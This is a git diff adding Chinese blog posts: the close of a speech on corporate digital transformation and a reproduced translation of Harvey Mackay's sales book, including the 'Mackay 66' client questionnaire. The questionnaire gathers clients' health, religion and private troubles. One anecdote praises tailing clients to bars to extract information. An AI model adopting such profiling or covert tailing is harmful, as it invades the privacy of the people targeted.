+第二个阶段进入到业务，营销只是业务的一部分，那这个时候我会整合供应链，我有上游、下游，整个的供应链，这是在业务阶段的转型。 + +那么第三个阶段，就是我们的后台阶段。这时候就变成全公司上下都要动起来，提升管理效率。 + +最后，数字化转型是在组织阶段，保证你可以基业长青，可以长期稳定地发展下去。 + +这是我认为传统企业数字化转型要经过的四个阶段，从营销、到业务、到后台，到组织。 + +居然之家这些年通过在数字化转型方面的提前布局，取得了新零售方面的先发优势，并且为自身也赢得了更为广阔的发展空间。今天的中国是全球第二大经济体，也是全球最大的消费市场，面对庞大的市场份额、市场规模和迎面而来的数字化时代，我希望我们每一个人、每一个企业都能够在这样的数字化大潮之下，紧紧地抓住传统企业改造的千载难逢的一个机会，整合资源，加强协作，携手同行、共赢未来。 + +谢谢大家。 + +# 参考 ++ [混沌大学]() \ No newline at end of file diff --git a/_posts/2021-05-26-553-gxws.md b/_posts/2021-05-26-553-gxws.md new file mode 100644 index 0000000..7cf5487 --- /dev/null +++ b/_posts/2021-05-26-553-gxws.md @@ -0,0 +1,2518 @@ +--- +layout: post +title: 攻心为上 +pid: 553 +tags: [市场营销] + +--- + +攻 心 为 上 + +哈维.麦凯 + + + +目录 + ++ 前 言 ++ 第一章 麦凯销售短篇 + + 第1课 价值感才是决定的关键 + + 第2课 让顾客自动上门 + + 第3课 了解客户和了解产品一样重要 + + 第4课 麦凯66客户档案 + + 第5课 “麦凯66”续篇——战场点滴 + + 第6 课 别太有个性 + + 第7 课 知已知彼 + + 第8 课 因应“难缠”之道 + + 第9 课 创造你的私人俱乐部 + + 第10课 纸短情长 + + 第11课 寻找新顾客 + + 第12课 人爱其名 + + 第13课 确实把握时间 + + 第14课 订下目标 + + 第15课 有志者事竟成 + + 第16课 找个好榜样 + + 第17课 美梦成真 + + 第18课 惠而不费——常被忽略的广告方式 ++ 第二章 麦凯谈判短篇 + + 第19课 学会说“不！” + + 第20课 投石问路 + + 第21课 旅馆客满了？没那回事！ + + 第22课 攻心为上 + + 第23课 欲擒故纵 + + 第24课 虚虚实实 + + 第25课 面面俱到 + + 第26课 有凭有据、有备无患 + + 第27课 放长线钓大鱼 + + 第28课 不打没把握的仗 + + 第29课 致命伤——感情用事 + + 第30课 揭开华而不实的外表 + + 第31课 凡事好商量 + + 第32课 买卖的战争 ++ 第三章 麦凯管理短篇 34 + + 第33课 经理人最容易犯的大错 + + 第34课 钱可买到经验，经验可以赚到钱 + + 第35课 坏消息比好消息更该听到 + + 第36课 天下无难事 + + 第37课 对待你的供应商，一如对待你的顾客 + + 第38课 人尽其才 + + 第39课 老板不要自己扮“黑脸” + + 第40课 话说回来，如果你打算自己扮“黑脸” + + 第41课 成大业由小事作起 + + 第42课 找出赢家——如何发掘胜利者 + + 第43课 让你的爱将有时间发呆 + + 第44课 保持自发的兴趣 + + 第45课 边工作边示威的罢工 + + 第46课 做得多还要做得巧 + + 第47课 信任专家，他们……也会出错 + + 第48课 该用的人没用，该留的人没留 + + 第49课 不怒则不威 + + 第50课 不要让任何人，尤其是大牌明星人物，选择自己的继承人 + + 第51课 精神奖励一样重要 + + 第52课 你有多少业务员 + + 第53课 接受新挑战 + + 第54课 听听老人言 + + 第55课 要能动也要能静 + + 第56课 适时地授权 + + 第57课 勿临渴掘井 + + 第58课 员工与顾客同等重要 + + 第59课 被开除也无妨 + + 第60课 面对问题才能解决问题 + + 第61课 花钱消灾 + + 第62课 “我从未见过坏的履历表” + + 第63课 选才试纸 + + 第64课 想当好人得先有本钱 + + 第65课 省时绝招 + + 第66课 愤怒和报复一样不可取 + + 第67课 认识敌人 + + 第68课 别被盛名所累 ++ 第四章 速成秘诀 + + 秘诀1 感激是人类情感中最弱的一环 + + 秘诀2 有一就有二 + + 秘诀3 广结名流的方法 + + 秘诀4 自尊自重 + + 秘诀5 根本没有“记性不好”这回事 + + 秘诀6 人不能忘本 + + 秘诀7 预测未来可保心智敏锐 + + 秘诀8 日光浴的秘密 + + 秘诀9 邀百万富翁共进午餐 + + 秘诀10 广结善缘 + + 秘诀11 勿裹足不前 + + 秘诀12 如何战胜供需法则 + + 秘诀13 勇于任事者得宠 + + 秘诀14 演讲前多做练习 + + 秘诀15 一生中完全孤绝的时刻——临死前和演说前 + + 秘诀16 现金之美 ++ 第五章 帮助你的孩子掌握胜算 + + 帮助你的孩子掌握胜算 + + 不要妄想守株待兔 + + 找到你喜欢的工作，并且让它替你赚钱 + + 相信父母有时候是对的 + + 划地自限者前途无“亮” + + 在父母成功的阴影下更难出头 ++ 结语 迈向成功之路 + + 如何成功 + + 成功=决心+设定目标+专心 + + + +# 前 言 + +如果你刚翻开这本书，还不晓得会学到什么，你就等着丰收吧。《攻心为上》定不是一本尽讲些没用、说教的学院派书籍，而是一些你马上可以用在生意上、生活上、人际关系上和任何其他目标上的信息。我写序的感觉很复杂，一方面希望你们马上可以学到麦凯的见解、天分和创造力，另一方面我自己也开始大量吸收这些信息。在创造我自己事业巅峰的过程中，我会为找到这本书而窃喜。我知道你也不会愿意你的竞争对手看到这本书。 + +这本书有什么特别？多得不得了？麦凯已经把他一生的经验，简洁且直截了当地归纳成比喻和原则，不论对新手或老将的生意与私生活来说，都是同样的无价之宝。若是能和读过本书的同事、朋友或家人讨论各自最喜欢的一课，会更趣味无穷。 + +我最喜欢哪几课呢？只要看看它们的课目，你就会了解这本书的生动与隽永。 + +——学会说“不！” + +——致命伤：感情用事。 + +——不怒则不威。 + +当一个主管非要部属把船划到水中孤岛不可时，麦凯就建议把桨交到部属手中让他们自己划。主管应把部属放在主管的位置，并且说：“好，老王，如果你是我，你该怎么办？”我试过几次，这比一分钟的训诫有效。但别告诉别人这招。 + +——麦凯66 (Mackay 66 )客户档案。 + +每个人都在侈言要跟顾客接近，麦凯则是真正说到就做到。他的每个顾客都有份档案，里面要求业务员记录顾客66的件事——从顾客是什么学校毕业到他醉心的嗜好，从他太太、小孩的名字到他的成就。麦凯了解顾客比顾客自己还深……当然麦凯知道的要比竞争者多。你会喜欢“麦凯66”的。 + +——帮你的孩子掌握胜算。 + +这一章是生意经范围以外的知识，是你可以和你任何年龄的子女分享的章节，讨论到子女生长过程中每个阶段的问题。麦凯甚至对你的子女也有一点建议：有时候也要假装听一下爸妈的话。 + +也许你会怀疑为什么要听麦凯的？他是谁？他是个充满智慧、相当成功的人： + +——7500万美元兴建完成的明尼亚波利斯的亨福瑞纪念堂，就是由麦凯提议，并义务募款而成。此外，他也募集百万美元给美国防癌协会，并送明尼苏达大学乐队到中国大陆演出。 + +——麦凯并拥有一个资本额3500万美元的信封制造公司，无论在行销及获利上，都是行内的顶尖典范。 + +——他是明尼苏达大学的忠实校友，请来名教练重整明大的足球队。并且曾一口气在一天内卖出万美元的票，维持住明尼亚波利斯市立棒球队的生存。 + +《财星》杂志封麦凯为“万能先生”(Mr.Make-Things-Happen)，《今日美国》称“麦凯的身段是国手级的”，一家明尼苏达报纸指麦凯是“最棒的义工”。圣母大学足球名教练霍兹回忆：“我刚到明尼亚波利斯时，温度约在华氏零下50度，麦凯却卖给我6台冰箱。”而麦凯终身的目标则在：做个好丈夫、好父亲、成功的生意人和积极参与社区活动的人。 + +麦凯不仅都做到了，而且还传授我们他年累积下来、为自己争得许多成就的秘诀与经验。读这本书，不仅使你在每件事上都因为学到麦凯的经验而能做得更好，并且你也更会享受自己的生活。同时，你可能也发现自己最奢望的美梦都已成真。 + +谢谢你，麦凯！——布兰查 ( Kenneth Blanchard ) + +《一分钟经理》作者 + + + +# 第一章 麦凯销售短篇 + + ## 第1课 价值感才是决定的关键 + +一位演讲者面对满屋的人，台下没人听过或见过此人，他边讲开场白边把手插进裤袋里，掏出一张20元美金：“这张20元我愿用1元卖出，谁要买？” + +老实说，你会不会跳起来说你要买？或者你会等几秒钟，看看别人怎么反应，直到别人举手时，才怯生生地举起你的手？ + +如果你迟疑了，那很正常——因为我们一生的教育都告诉我们，只有傻子才会像那个人一样做生意。但如果有别人敢在同样情况下冒险，那我们贪婪的小手就举起来了，我们习惯跟随别人。别人的手举得越快、需求越强烈，我们跟得也越快。换言之，我们对任何物质价值的判定，都不是来自物质的本身，而是根据这种物质被需求的程度而定。 + +好吧，你会说这是行销学初级班的课，谁不晓得嘛，这跟现实世界有什么关系？ + +关系可大了！ + +我可以告诉你一个四兄弟的故事，他们腰缠万贯，却根本就不了解这个简单概念，也许几年后这件事也会像某些大企业的吹牛文章一样，列入哈佛商学院企管硕士的个案研究里。 + +但我们可不可以从中学到点什么？ + +场景：市郊。此地是明尼亚波利斯市(也可能是全美国)最有价值的士地，市郊50英亩的精华住宅区，在原来的旧体育场拆迁到市中心后，身价暴涨。 + +入场：葛米兹兄弟四个，都是加拿大人，以进口伊朗地毯起家，目前经营房地产。他们至今最伟大的成就就是世界最大的西爱德蒙购物中心。这可不是普通的购物中心，不光只面积大，除了商店、服务中心和餐厅之外，还有完整的休闲娱乐中心，2英亩半的室内人工湖，儿童乐园和5000万美元搭建成的观光旅馆。葛米兹兄弟称这个购物中心是“世界第八大奇迹”，而且千百万个观光客也同意他们的说法。 + + + +更大的野心 + + + +葛米兹兄弟最近又提了个“很棒”的点子，他们想在旧体育场废墟上建起价值15亿美元的房地产开发计划，可为当地居民带来4000个新的工作机会，并在无污染情况下维持合理的工资；可充分利用原本已经成废墟的旧建地，井且可以替本州每年吸引百万名游客。 + +州长对他们的点子很有兴趣，并且准备召集州议员，立下减税的法案等，希望让葛米兹兄弟的计划通行无阻。 + +听起来，这好像是全美各州都求之若渴的计划(事实上，葛米兹兄弟提出这个计划前几个月，州政府曾经努力拉拢通用汽车公司来此设厂，但比他们的计划差多了，所以并未成功)。看起来葛米兹兄弟的提案有百利无一害，他们要求立法上的支持和减税方案都相当合理，而且他们已经有相当雄厚的财力，遵守合约的信誉也不错。 + +但就在大家都准备鼓掌称庆之际，事态急转直下；从州长以下，每个人都让葛米兹兄弟处处碰壁，州长也急急撤回对该计划的各种支援。这全只因为公关作业上一次简单的错误：忽略了在供给之前，一定要先制造需求。 + + + +创造购买情境 + + + +如果我站在街头用1块钱的贱价出卖我的20元钞票，结果一定会被捕。谁肯相信世界上竟有这等好事？里面必然有诈。如果葛米兹兄弟推出这个计划时，懂得运用通用公司的计划——先公布设厂计划，再选择最有利的地点；而不是直接提供政府一个好计划，州政府就会毫不考虑地接受这个计划。他们不需要别人来说这个计划有多大好处，看到别州争着要这计划，自然就会知道。这是老早在100年前，哈克·芬就在《汤姆历险记》里教过汤姆刷白墙的一招。也许这个故事不在葛米兹兄弟收集的童话故事中。 + +行销不光是销售的艺术，不光是说服别人来买就够了，而是要创造出一种让购买者想购买的情境——最好的方式莫过于僧多粥少。 + +## 第2课 让顾客自动上门 + + +日本人用很简单的公式形容典型的美国行销计划：准备好了吗？瞄准！发射！ + +显然这正是葛米兹兄弟的行销公式，他们其实只消自忖几个简单的问题就够了：我到底在卖什么？我怎样才能创造对此种产品的需求？我要卖给谁？他们真正想要的是什么？但葛米兹兄弟什么问题都没问就一头栽进来，开始四处推销。设想一下，如果他们先问这些问题再提出计划，结果会有何不同？ + +他们是在卖一个购物中心吗？不是。是卖工作机会和税后盈余吗？有一点。推销别人所需求的东西吗？正是如此。 + +这种推销是让客户知道自己够资格享用这种产品，这是推销员的梦想，这也是唯一的方法，你可以推销实际价值不高但却能代表身份地位的产品。 + +别以为我只在说贵得离谱的进口车或珠宝，这些价格跟真正昂贵的大买卖——房地产开发计划，或连锁棒球队比起来简直微不足道。你绝不能用经济效益来解释，为什么人们花这么多钱，去买贵得离谱的皇冠、宝石这些炫耀性的消费。你怎么帮“自我”和与众不同的独特性标价呢？ + +这是通用汽车公司用来吸引州民愿意投资的技巧。 + +如果你是葛米兹兄弟，你要怎样创造同样的需求呢？ + +首先，你先不要出面，躲在你加拿大神秘的金窟老家，不要第一次说明计划就出面。通用汽车公司的大老板们就不会到全国去推销设厂计划，他们只要在底特律宣告一声，要选建厂地点，各州政府自然蜂拥而至。他了解要制造让客户自动上门的气氛，然后自己只要当裁判，宣判谁够资格让通用去设厂。 + +为什么像葛米兹兄弟如此精明的生意人，在行动前不察明此点，他们为什么要拿着20元大钞到一群不信任他们的观众前猛摇，说要用元20换1元？ + +只有一个理由，他们以为只要州长支持这个计划就够了。 + +大错特错。 + +他们忘了问另外两个问题：我真正的客户是谁？他们真正需要什么？ + +他们只答对了一半， 政客的确是他们最终的客户，他们大权在握，可决定是否成交。只要打通这一关，其他的自然容易解决，像每坪多少钱，广告费多少等等。但要说眼政客，却需要了解个中诀窍。葛米兹兄弟只急着去牵政客的手盖章，到摄影机前主持开工典礼，却忘了政客的真正需求。他们有自己的客户——选民，也会担心自己是不是真的提供选民真正需要的东西？如此，选民下一次才会再投票给自己。这就是下一步我要教你们的。 + +## 第3课 了解客户和了解产品一样重要 + +以政客为例，他们会接受你的提议，条件必定是此举会赢得许多选票，或有其他特别的好处。 + +这倒不是说政客比我们不老实或不可靠，只是他们虽然要领导民众，却必须时时看选民的脸色行事。离选民较远的立法者，譬如华盛顿的参众议员就比地方官员(如州长)较不可靠，但原则还是一样。所以在要求政客做什么事时，必须创造有利这个提议通过的环境，或是做些让政客们不得不设法回报的事——譬如捐款或助选等工作。 + +在你选择任何策略前，最好先弄清楚对手是谁。葛米兹兄弟的故事里，州长相信这是选民需要的计划，于是答应出面支持，但是一旦发现他们井没有获得舆论支持，他就匆匆撤退。 + +葛米兹兄弟终于开了窍，聘请当地游说团体来说服大众，当初向州议会开口要的几亿投资虽然未成，却在市议会得到帮助。于是才有目前缩减规模的购物中心，虽不如最初的规模，却仍是当地最大的土地开发计划——当然原本规模会更大的。 + +了解你的客户不表示就要直接向他推销，在这个故事里，向州长推销太容易了。但葛米兹兄弟真正该采取的步骤是在州长周围建立“影响人士”所组成的支援体系，譬如新闻界、工会、民意、他的政党等等，然后再接触他本人。这需要专业的公关技巧，譬如报道他们以往成功的购物中心计划，透露还有其他州在争取他们去设购物中心，引导当地意见领袖说明本州需要开发这个购物中心等等，但葛米兹兄弟一件扎根工作也没做，于是很不幸地，当州长发现他上了一条没有船员的船时，他当然急着喊弃船。 + + + +点点滴滴收集信息 + + + +在麦凯信封公司，你不会相信我们多了解客户——连国税局都不相信。我们的业务员对每个客户都必须填妥66个问题。不只是他们喜欢那种信封，而是经由业务员自己持续的观察与访谈，得到有关客户“个人”的信息，例如他对什么事物有特别的意见？他最得意的成就是什么？他在办公室里代表的身份是什么？ + +当你了解客户的特殊兴趣与个性后，你往后跟他们接触与谈话就会特别容易。我有个客户是芝加哥小熊棒球队的球迷，这就让我们一年至少能通六次信，我不必在信中告诉他最近信封的形式，我只要写关于棒球的事，他则告诉我有关信封的意见。 + +我另外一个客户集邮，不论我到世界任何角落，我都把特别具异国风味的邮票寄给他。我想他一定相当感激，他买我的信封已历时20年，然而这其间，我们只见过一次面。 + +了解你的客户表示了解他的需求。也许你的产品真的好，但别的东西也会影响销路，譬如认同感、尊敬、信任、关怀、服务、觉得受重视、友谊、协助等等，都是更重要的东西。 + +## 第4课 麦凯66客户档案 + +了解你的客户非常必要，我们已经看过不重视客户的可笑后果。如果像葛米兹兄弟那样世故练达的生意人都会犯这样的错，我们更不用说了。只要掌握对客户足够的信息，我们绝对可以在竞争时创下惊人的业绩，同时改进管理技巧，不仅能动员部属，也能赢得谈判。我是不是太夸张了呢？ + +如果你和我一样相信信息的价值，你就不会这么想了。 + +你可能认为这种掌握与控制信息的做法有点独裁，但别忘了，你的客户在审查你的产品时总是带着怀疑和挑剔的眼光，他们的工作本来就该如此。 + +所以业务员的工作就是化解这种不友善，让客户能不带偏见地考虑你的产品。 + +如果推销只是让最低价的人得标，那世界上就不需要业务员，只要电脑就够了。“麦凯66”就是教你怎样跟客户化敌为友，反过来帮你达成销售。 + +决定谁得标的关键不在投机取巧，而在人。像艾科卡曾说：“跟别人处不来的人绝不属于这个行业，因为这是我们谋生的唯一技能。” + +这也就是我设计有关客户66个问题的理由，没错，这里所谈的就是填表。当然我知道没有人喜欢填表，尤其是业务员，他们都是大而化之的人，不喜欢数学，行事都跟着右脑的创造区域走。我非常了解，所以设计表时也把这层因素考虑进去了。 + +事实上，搜集这些信息比你想像的要简单，举“麦凯66”的最后一页为例，客户都非常乐意跟你谈他们管理上的目标和手法。身为业务员，你可能就常常忽略掉，因为对他们而言，任何没有签下购买订单的合约都不值钱。我在千千万万的业务员眼中都看过这种漫不经心的表情，但是个问题就会让你得到意想不到的信息，并转输为赢。 + + + +麦凯66——信息系统化 + + + +所以不要一看我要你们填表就不耐烦，一点也不难，事实上你平常可能已经在进行里面的部分，“麦凯66”不过是帮你把收集到的信息系统化，并且让它们变得更有用也好用。 + +虽然大部分信息都需靠你跟客户的第一手接触和观察，但你可不是孤军作战，你还可以有其他的帮手。譬如： + + + +其他客户 + 电视 + +供应商 + 接待员 + +往来银行 + 秘书 + +报界 + 助理等等 + +贸易刊物 + + + +这还是张短的清单。 + +在我们公司，秘书的工作还包括翻阅地方新闻以及各大报。任何有关我们前20位最大客户的消息，公司里任何跟这个客户有关的人都必读。 + +这些信息的价值不只在帮助业务员。我们知道任何行业的业务员流动量都很大，这些资料可防止他们离职时也带走客户，还可让接班的人及时进入情况，不用从头做起。 + +因为都写在纸上了，“麦凯66”还可以协助业务员和主管同时讨论这个客户。 + +有两件事需要特别提醒：世界瞬息万变，所以66个题目需随时修正，而且因为66个问题通常都牵涉点客户的隐私，所以储存时要考虑到安全与隐密，每份资料只有固定的份数，不能让影印本满天飞。我创业的前10年，每个星期日晚上都花时间苦读公司前10大客户的资料，直到我倒背如流。虽然今天我已不再这样辛苦，但每年我都要和公司高级主管开会审查这些信息，并且特别注意最后一页。这页对一般客户事务的特别分析，就是公司拟定未来计划的基础。 + +你现在懂了吧！你会问：“到底有没有效呢？”你先细读以下的66题，我一边告诉你到底有没有效。 + + + +麦凯信封公司个问题的客户档案 + + + +日期________________ + +最新修定时间________________ + +填表人________________ + + + +客户 + +1 + 姓名________________昵称(小名) ________________ + +2 + 职称________________ + +3 + 公司名称地址3住址________________ + +4 + 电话(公) ________________ (宅) ________________ + +5 + 出生年月日________________出生地________________ + +籍贯________________ + +6 + 身高________________体重________________ + +身体五官特征________________ (如秃头、关节炎、严重背部问题等) ________________ + + + + +教育背景 + + + +7 + 高中名称与就读期间________________ + +大专名称________________ + +毕业日期________________学位________________ + +8 + 大学时代得奖纪录________________研究所________________ + +9 + 大学时所属兄弟或姐妹会________________ + +擅长运动是________________ + +10 + 课外活动、社团________________ + +11 + 如果客户未上过大学，他是否在意学位________________ + +其他教育背景________________ + +12 + 兵役军种________________退役时军阶________________ + +对兵役的态度________________ + + + +家庭 + + + +13 + 婚姻状况________________配偶姓名________________ + +14 + 配偶教育程度________________ + +15 + 配偶兴趣/活动/社团________________ + +16 + 婚纪念日________________ + +17 + 女姓名、年龄________________是否有抚养权________________ + +18 + 子女教育_______________ + +19 + 子女喜好________________ + + + + +业务背景资料 + + + +20 + 客户的前一个工作________________ + +公司名称________________ + +公司地址________________ + +受雇时间________________受雇职衔________________ + +21 + 在目前公司的前一个职衔________________ + +职衔________________日期________________ + +22 + 在办公室有何“地位”象征________________ + +23 + 参与的职业及贸易团体________________所任职位________________ + +24 + 是否聘顾问________________ + +25 + 本客户与本公司其他人员有何业务上的关系________________ + +26 + 关系是否良好________________原因________________ + +27 + 本公司其他人员对本客户的了解________________ + +28 + 何种联系________________关系性质________________ + +29 + 客户对自己公司的态度________________ + +30 + 本客户长期事业目标为何________________ + +31 + 短期事业目标为何________________ + +32 + 客户目前最关切的是公司前途或个人前途________________ + +33 + 客户多思考现在或将来________________为什么________________ + + + + +特殊兴趣 + + + +34 + 客户所属私人俱乐部________________ + +35 + 参与之政治活动________________政党________________ + +对客户的重要性为何________________ + +36 + 是否热衷社区活动________________如何参与________________ + +37 + 宗教信仰________________是否热衷________________ + +38 + 对本客户特别机密且不宜谈论之事件(如离婚等) ________________ + +39 + 客户对什么主题特别有意见(除生意之外) ________________ + + + + +生活方式 + + + +40 + 病历(目前健康状况) ________________ + +41 + 饮酒习惯________________所嗜酒类与份量________________ + +42 + 如果不嗜酒，是否反对别人喝酒________________ + +43 + 是否吸烟________________若否，是否反对别人吸烟________________ + +44 + 最偏好的午餐地点________________晚餐地点________________ + +45 + 最偏好的菜式________________ + +46 + 是否反对别人请客________________ + +47 + 嗜好与娱乐________________喜读什么书________________ + +48 + 喜欢的度假方式________________ + +49 + 喜欢观赏的运动________________ + +50 + 车子厂牌________________ + +51 + 喜欢的话题________________ + +52 + 喜欢引起什么人注意________________ + +53 + 喜欢被这些人如何重视________________ + +54 + 你会用什么来形容本客户________________ + +55 + 客户自认最得意的成就________________ + +56 + 你认为客户长期个人目标为何________________ + +57 + 你认为客户眼前个人目标为何________________ + + + + +客户和你 + + + +58 + 与客户做生意时，你最担心的道德与伦理问题为何________________ + +59 + 客户觉得对你、你的公司或你的竞争负有责任________________ + +如果有的话，是什么________________ + +60 + 客户是否需改变自己的习惯，采取不利自己的行动才能配合你的推销与建议________________ + +61 + 客户是否特别在意别人的意见________________ + +62 + 或非常以自我为中心________________是否道德感很强________________ + +63 + 在客户眼中最关键的问题有哪些________________ + +64 + 客户的管理阶层以何为重________________ + +客户与他的主管是否有冲突________________ + +65 + 你能否协助化解客户与主管的问题如何化解________________ + +66 + 你的竞争者对以上的问题有没有比你更好的答案________________ + + + 其他注意事项 + + + + +版权所有1988年 + +麦凯信封公司 + +## 第5课 “麦凯66”续篇——战场点滴 + +我们现在回到麦凯66第5题——“生日、出生地及籍贯”。 + +你自忖道：“哟！原来麦凯建议送顾客生日贺卡，这有什么大不了！”且慢，生日卡片还不算什么，好戏在后头呢！回想一下，我们不是从小就会察言观色、从不在大人心情不好时开口要东西吗？但是一旦察觉他们心情颇佳时，就会乘机来个狮子大开口。时机就是一切，这句话绝对有道理。在本公司的电脑里，有所有顾客的生日资料，在他们生日前夕，自然会收到公司的贺卡。除此之外，我们还会在顾客生日时，派专人前往道贺，并请吃中饭。 + +因此，你若看到我们的业务员能在顾客欢度生日时，打破买卖双方的障碍，不必觉得太惊讶。至于客户的家乡，从报章上就叮得到供应不绝的资料，你不必亲自去搜集。如果值得，不妨偶尔翻翻当地的报章杂志，或干脆委托专门机构替你搜集相关资料。若能具备一些关于你客户家乡的常识，包管能使你可以和他滔滔不绝地聊上一个礼拜还觉得不过瘾。 + +第7―12题——“教育背景”。有一天，我拜访一位客户，发现原来我们15年前是高中同窗。我们都曾上过传奇的梅老师的英文课，谈往事谈得很高兴；而隔天我才发觉，他买进的信封更令人兴奋——这位仁兄一下子向我买了超过1.5亿个信封，直到现在，我都觉得费解。 + +第13―19题——“家庭”。有次在无意间，我听到一位买主的秘书正在电话中安排送他12岁大的女儿参加体操比赛。我抓住机会，立刻问了这件事；没多久，我跑去看这位小女孩比赛双杠。一个月后，我增加了不少对体操的知识，于是向我的客户提起了这件事，结果当天就收到第一批订单。 + +第23题——“业务背景资料”。“在办公室里身份的象征”是个值得探讨的好题目。经过学习，我了解到：一个业务员在等待买主挂电话与你晤谈前，最重要的任务就是乘机浏览他办公室墙上所挂的各类照片、奖状等。因而当我有天到纽约一家名列财星500大的公司拜访时，我注意到墙上挂着一幅该公司总裁和客户的合照——那是为奖励他的第一篇有关失业问题的专题论文，而获得总裁亲颁奖状时的合影留念。一星期后，我寄给他一本有关失业问题的专书，此后，订单就没断过。 + +第40―57题——“生活方式”。为客户准备他喜爱的比赛或表演节目的门票，通常都有助你打破彼此间的隔阂，特别是如果你能亲自陪同前往。这招不只对男性顾客管用，对女性也成效斐然。 + +我曾经连续三年未间断地拜访芝加哥一名女性采购经纪人，但她从来不给我任何机会报价。后来我发现她是个摔跤迷！于是我立刻投其所好，也把自己变成摔跤迷。第二天，我跑到她办公室，告诉她我有办法弄到摔跤大王乔治比赛的票，而且还是紧靠场边的位子。我邀她同行，或者我让出来，她好另邀他人。 + +看得出来，这对她来说，真是内心一大挣扎。接受呢？聪明如她，当然明白我送票的动机！不接受呢？又怎舍得放弃如此好的座位。最后摔跤的魅力战胜理智，她终于接受我的票，但坚持票钱由她出。在她接受我们，给我们订单前，有六年的时间我都孤军奋斗，却毫无斩获。六年后是什么扭转了颓势呢？那就是“麦凯66”；现在我们订单愈接愈多，六年的等待是有代价的！ + +报偿：铁的事实就在这信封中—不是麦凯出产的信封而是装你薪水的信封。麦凯公司业务员的年平均所得是同行的两倍多，什么原因？那就是“麦凯66”。 + + + +## 第6 课 别太有个性 + +一旦在工作中掺入你主观的性格，他人就会开始针对你的个性而非对你的工作下定论。 + + + +## 第7 课 知已知彼 + +绝大部分的销售指南都会告诉你——推销时，最重要的是推销你自己。本书则不然。我认为自我推销有时反倒适得其反；因为：老兄！别否认，你我绝大多数时候并不出色。 + +无论本身是业务员、协调者，是主管或是企业家，我们最大的挑战就是，让对方看清我们的提案所能给他们带来的好处。因此，了解对方个性是当务之急。尽量让他们当主角、出风头，而我们本身则应甘为配角。 + +多半生意人并不适合采高姿态。当然艾科卡是例外。你我都不是艾科卡，葛米兹兄弟也不是。美国通用汽车公司能使全美各州的议员都帮通用的提案游说，是因为通用在整个过程中，都是以企业形象出现，他们从不打个人形象牌——有的只是一个驰名国际、规模庞大、形象整体化的大公司。公司里有哪些人，没人真的知道，但这样反而较有胜算达到愿望。 + +在过去“美好的岁月”里，业务员都会与相同种族的客户配合。譬如，你会派公司里爱尔兰裔的业务员去拜访爱尔兰来的顾客，派犹太裔人员去应付犹太客人等。现在情势改观了，由于少数民族地位愈来愈稳固，精明的销售经理发觉这类顾客也想走出自己的圈圈，与主流结合、想和不同民族的人来往，因此会派与顾客不同的业务员去接洽，不过情况都因人而异。这也是为什么本公司在还没有真正和对方做生意前，要花那么多人力、物力来分析、调查顾客的背景。 + +如果你对你的客唷把握，不妨先按兵不动，雇用这方的专才协助你。不过有时候你会发觉你的顾客更能接受当地的专家。从大都会如纽约、旧金山来的人通常都自视甚高，无人能比。这也难怪，人多半都会恃才傲物，所以他们又何必听一些“老土”的话？另一方面，从小城市来的人也多抱着“远来的和尚会念经”的心理，至于这些远来的和尚，实力到底如何，我们也不得而知。碰到这种情形，你得随时准备这些外表得体的专家会让你头痛无比。 + +总有一种适合你的推销方式，无论是雇用公关，或退居幕后操纵，或创造需求。不论何种方式，关键在于了解、掌握你的顾客，而不只是一味的埋头苦干，或向对方提出看似吸引人的交易。 + +## 第8 课 因应“难缠”之道 + +既然你已明白错会出在哪儿，也明白一些必备的补救方法，那么现在该是你学习如何运用信息的时候了。 + +我不认为业务员的定义就是光指能争取到订单的人，因为任何人只要会撒够多的谎(例如：价钱或送货时间)，就可轻易收到订单。 + +优秀的业务员，不但要能争取到别人手上的客户订单，而且还能继续接到订单。 + +这都要从访问客户开始。我拜访客户，从来没有碰过钉子。原因就是我在首次拜访客户前，都会慎重其事。早在40年前，著名的麦葛荷公司在一个推销广告的广告中，塑造出一个标准的难缠客户的形象，可说明业务员的典型难题。“难缠”的客户有着一双锐眼，坐在办公桌前，脾气暴躁。对着业务员说： + +——我不知道你是谁？ + +——我不知道你是哪家公司的？ + +——我不知道贵公司的性质、立场？ + +——我不知道贵公司有哪些客户？ + +——我不知道贵公司有哪些产品？ + +——我不知道贵公司的信誉？ + +——现在告诉我，你打算卖什么给我？ + +如果你销售的是大公司的系列产品，如IBM电脑，那么你的客户业已从你公司的公关部门、广告网和市场调查中，对你要销售的产品有所认识。而IBM本身卓越的信誉，无疑是拜访客户时最有力的无形业务员。 + +但是如果你卖的不是IBM电脑，你就得另出绝招，最好的方法就是请一位你自己的客户来推荐，而他是你要争取的新客户所认识的人。 + +我也和绝大多数业务员一样，把大半辈子时间花在建立自己的社交圈和顾客网上，以便可以和全市每间办公室搭上线。 + +要达到这个境界有两招：一招是采取“零售”方式；另一招则采取“批发”方式。“零售”是指透过社交活动及社团参与等接触，一点一滴建立自己的社交圈；“批发”则是指透过传播媒体，例如报章杂志，使那些不认识你的人，也能从你所发表的言论、文章及你所参与的社交活动中认识你，进而接受你。不论是“零售”或是“批发”，都能使你在拜访客户时，打破彼此的僵局。 + +如果没有个人渠道的话，我也会另想法子。如果你公司的股票有上市，不妨看看你们的年度报告。因为这类的年度报告，多半是一种销售的工具，对象是公司的股东及股票经纪人。我认为没有理由不让公司的客户也能成为公司股东。当我把可能范围内，几乎所有上市股票都买上一股时，我的经纪人快气疯了。但我总有办法让他明白，花个买股票的小钱，每股都能变成一位新客户，到时一股会变成一百股。我们把这些年度报告放在办公厅的阅览室，好让公司的业务员随手可得。结果大伙儿闻风而至的“盛况”，简直可与理发馆里大家争看《花花公子》杂志的情形媲美。 + +如果你的公司不作兴“年度报告”这种把戏，或许可以把它用在你客户的公司。从公开或私人渠道，尽量搜集有关对方公司的资料。公开的资料来源有你的经纪人，或市立图书馆有关“生意栏”的消息；至于私人渠道，则可从你的银行界朋友、律师、会计师那儿打听到(你或许会说，他们才不会透露消息给我。没错，如果你问的是他们自己的客户，他们当然会三缄其口，但是如果是别家的客户，那就另当别论了。)你甚至可以从其他不具竞争性的行业得到有关消息。 + +另外还有别的方法。我认识一位业务员，他就有办法在每星期五下午5点左右，把车停在他顾客车子对面的停车位，然后一路跟随客户，直到他们一起进入酒吧或沙龙。在这种五光十色的欢乐气氛下，经常都可以套出他想知道关于客户或竞争者的消息。他说他已经有办法在酒吧玩各种游戏都输得心服口服。他更打趣道：“我现在正在苦练飞镖呢！” + +准备好了你所有的资料后，你就可以写信给这位“难缠的客户”(Tough Prospect)了。告诉他你要介绍的产品有多好，并且告诉他一切有关他公司的资料，好让他晓得你是有备而来，然后要求约个时间见面。 + 